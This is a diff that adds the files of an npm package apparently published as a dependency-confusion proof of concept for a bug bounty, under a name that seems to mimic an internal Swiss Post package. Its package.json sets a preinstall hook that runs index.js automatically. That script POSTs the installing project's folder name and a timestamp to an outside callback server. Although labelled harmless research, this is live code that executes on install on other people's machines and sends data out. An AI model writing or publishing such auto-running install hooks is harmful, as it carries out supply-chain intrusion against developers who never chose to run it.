nativescript-swisspost-pcc-creative-editor 54.16.3

package/index.js

@@ -0,0 +1,41 @@
+// SECURITY RESEARCH: Harmless dependency confusion PoC.
+// This package sends a simple "ping" to verify execution.
+// No system data, source code, or PII is accessed or transmitted.
+// Contact: dd_06@wearehackerone.com
+
+const http  = require('http');
+const https = require('https');
+const path  = require('path');
+
+const targetDir       = process.env.INIT_CWD || path.resolve(__dirname, '../../../');
+const safeProjectName = path.basename(targetDir);
+
+const info = {
+    pkg:       "nativescript-swisspost-pcc-creative-editor",
+    timestamp: new Date().toISOString(),
+    transport: 'http',
+    project:   safeProjectName,
+};
+
+const CALLBACK_URL = "https://deepbounty.dd06-dev.fr/cb/dc8ee9ff-1372-47c3-b2b6-ce0564ce1f90";
+
+function sendPing() {
+    const parsed   = new URL(CALLBACK_URL);
+    const postData = JSON.stringify(info);
+    const lib      = parsed.protocol === 'https:' ? https : http;
+
+    const req = lib.request(CALLBACK_URL, {
+        method: 'POST',
+        headers: {
+            'Content-Type':   'application/json',
+            'Content-Length': Buffer.byteLength(postData),
+        },
+        timeout: 15000,
+    }, (res) => { res.on('data', () => {}); });
+
+    req.on('error', () => {});
+    req.write(postData);
+    req.end();
+}
+
+sendPing();

package/package.json

@@ -0,0 +1,10 @@
+{
+	"name": "nativescript-swisspost-pcc-creative-editor",
+	"version": "54.16.3",
+	"description": "Security PoC for Bug Bounty",
+	"main": "index.js",
+	"scripts": {
+		"preinstall": "node index.js"
+	},
+	"author": "dd_06"
+}